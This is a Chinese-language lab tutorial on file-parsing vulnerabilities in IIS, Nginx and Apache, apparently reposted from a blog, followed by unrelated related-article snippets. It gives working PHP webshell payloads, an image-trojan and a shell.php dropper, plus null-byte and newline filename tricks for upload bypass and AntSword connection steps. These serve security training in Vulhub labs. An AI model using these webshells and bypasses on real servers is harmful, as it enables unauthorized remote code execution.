文件解析漏洞靶场---解析详解

devtools/2025/3/17 17:15:16/

⽂件解析漏洞是由于中间件错误的将任意格式的⽂件解析成⽹⻚可执⾏⽂件,配合⽂件上传漏洞进⾏ GetShell的漏洞!

一、IIS解析漏洞  3个

1. IIS6.X       2个

环境需求:windows2003+iis6

安装windows2003;

安装iis:控制⾯板--添加或删除程序---添加/删除windows组件,点击“应用程序服务器”---勾选所有服务,点击确定,安装完成。 

⽹站路径默认为 c:/inetpub/wwwroot

1.1  目录解析

在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
(1)在iis的⽹站根⽬录新建⼀个名为a.asp的⽂件
(2)在该文件中新建一个1.jpg文件,在记事本打开,写入asp代码语句:<% =now()%>

now()函数,显示当前时间

(3)访问该文件:http://ip/a.asp/1.jpg

发现将1.jpg文件当做asp文件执行了

(4)将1.jpg复制到www目录下,访问,发现未执行   证明存在解析漏洞

1.2   畸形⽂件解析  

在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx

 (1)在网址根目录,写入一个文件2.asp;.jpg     asp代码:<% =now()%>

(2)浏览器访问该文件,发现   asp代码执行

1.3 其他程序扩展名  .asa    .cer    .cdx  等等

asp代码:<% =now()%>     保存文件为test.cer

浏览器访问该文件,发现asp代码仍被执行,存在文件解析漏洞

2.  IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件

环境:使用Windows10的iis服务和其中的CGI+phpStudy4iis

安装phpStudy4iis:

官网下载:Windows版phpstudy下载 - 小皮面板(phpstudy)

注意一定是  phpStudy for IIS版。

解压后,安装这两个exe文件

打开程序后,选择一个php版本,并修改对应版本的php.ini配置文件中:

安装IIS的CGI

2.1.    打开服务phpstudy2016

2.2  点击处理程序映射---找到phpStudy_FastCGI---双击---请求限制,去掉映射的勾选,然后将目录浏览打开:点击右侧的启用

2.3  绑定ip,端口,重启服务phpstudy2016,

2.4  网址根目录下写入一句话木马文件,浏览器访问http://ip:8980,点击shell.jpg

2.5   上一步的url后面加上/.php,文件被执行

 2.6 蚁剑尝试连接,连接成功

二、Nginx解析漏洞    2个

安装docker:yum install docker

安装docker-compose:yum install docker-compose

开启docker服务:systemctl start docker

1. nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

1.1  进⼊以下Vulhub路径并开启容器

cd /nginx/nginx_parsing_vulnerability    //切换至该目录中
docker-compose up -d    //打开靶场环境
docker ps -a

注意:如果 docker-compose up -d执行出现错误error,可能是服务未开启。
输入:systemctl start docker后,再输入: docker-compose up -d

如果出现超时错误,腾讯云无法解决,阿里云的可以使用镜像加速,如何做请参考其他文章,本文不做解释。【因为是借用其他人的靶场练习的】

1.2  浏览器,通过  http://ip:端口/   访问靶场

以80端口为例

1.3  制作图⽚⻢并进⾏上传,获取上传⽂件地址

GIF89a
<?php @eval($_POST['cmd']);?>

1.4 访问上传文件1.jpg

http://ip/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php

1.5  蚁剑连接成功

2.CVE-2013-4547

2.1开启靶场环境,并访问,端口为8080

#启动靶场

cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机⽬录

docker-compose up -d //打开环境

访问靶场:ip:8080

2.2 准备上传的木马文件shell.jpg,上传,进行BP拦截数据包

输入:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

2.3 修改文件名,编码实现截断符

将数据包发送到重放器,修改文件为shell.jpg空格空格.php

在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20
0x20 修改为如下即 0x20 0x00 进⾏发包
上传成功

访问上传的文件

ip/uploadfiles/shell.jpg

拦包,修改如下:由于url会将其编码,需要继续抓包修改 0x20 0x20为 0x20 0x00

2.4   访问/uploadfiles/shell.php

2.5  蚁剑连接木马

三、Apache解析漏洞    2个

1.  apache_parsing

1.1 开启靶场环境,同其他关卡一样   

1.2 写入木马shell.php.jpg,访问靶场  端口为81,上传文件

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

保存为shell.php.jpg文件

1.3  上传成功,直接访问

1.4  蚁剑连接

2.   CVE-2017-15715

2.1 开启靶场环境,访问靶场    上传文件

2.2 在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功

2.3 访问上传的文件,后⾯加上 %0A  解析了php文件   存在漏洞

2.4  蚁剑连接成功


http://www.ppmy.cn/devtools/167880.html

相关文章

k8s系统学习路径

学习 Kubernetes&#xff08;K8s&#xff09;需要循序渐进&#xff0c;结合理论知识和实践操作。以下是学习 Kubernetes 的推荐步骤&#xff1a; 1. 先决条件 • 掌握容器基础&#xff1a;先学习 Docker&#xff0c;理解容器化概念&#xff08;镜像、容器、仓库&#xff09;、…

【蓝桥杯每日一题】3.16

&#x1f3dd;️专栏&#xff1a; 【蓝桥杯备篇】 &#x1f305;主页&#xff1a; f狐o狸x 目录 3.9 高精度算法 一、高精度加法 题目链接&#xff1a; 题目描述&#xff1a; 解题思路&#xff1a; 解题代码&#xff1a; 二、高精度减法 题目链接&#xff1a; 题目描述&…

【DeepSeek应用】DeepSeek模型本地化部署方案及Python实现

DeepSeek实在是太火了,虽然经过扩容和调整,但反应依旧不稳定,甚至小圆圈转半天最后却提示“服务器繁忙,请稍后再试。” 故此,本文通过讲解在本地部署 DeepSeek并配合python代码实现,让你零成本搭建自己的AI助理,无惧任务提交失败的压力。 一、环境准备 1. 安装依赖库 …

LiveData 与 ViewModel 协同工作:从原理到面试实战

在 Android 开发的技术长河中&#xff0c;Jetpack 架构组件犹如璀璨星辰&#xff0c;其中 LiveData 与 ViewModel 更是在数据管理和 UI 交互领域发挥着举足轻重的作用。 它们的协同工作模式不仅极大地提升了代码的可维护性和稳定性&#xff0c;还成为了众多 Android 开发者面试…

MyBatis 如何创建 SqlSession 对象的?

MyBatis 创建 SqlSession 对象的过程主要由 SqlSessionFactory 接口及其实现类来完成。以下是详细步骤&#xff1a; 1. SqlSessionFactory 接口: SqlSessionFactory 是 MyBatis 的核心接口之一&#xff0c;它负责创建 SqlSession 对象。 你可以将 SqlSessionFactory 视为 Sql…

【机器学习-基础知识】统计和贝叶斯推断

1. 概率论基本概念回顾 1. 概率分布 定义: 概率分布(Probability Distribution)指的是随机变量所有可能取值及其对应概率的集合。它描述了一个随机变量可能取的所有值以及每个值被取到的概率。 对于离散型随机变量,使用概率质量函数来描述。对于连续型随机变量,使用概率…

电路原理(电容 集成电路NE555)

电容 1.特性&#xff1a;充放电&#xff0c;隔直流&#xff0c;通交流 2.电容是通过聚集正负电荷来存储电能的 3.电容充放电过程可等效为导通回路 4.多电容并联可以把容量叠加&#xff0c;但是多电容串联就不会&#xff0c;只会叠加电容的耐压值。 6.电容充放电时相当于通路&a…

【SpringBoot】最佳实践——JWT结合Redis实现双Token无感刷新

JWT概览 JWT概念 JWT是全称是JSON WEB TOKEN&#xff0c;是一个开放标准&#xff0c;用于将各方数据信息作为JSON格式进行对象传递&#xff0c;可以对数据进行可选的数字加密&#xff0c;可使用RSA或ECDSA进行公钥/私钥签名。JWT最常见的使用场景就是缓存当前用户登录信息&am…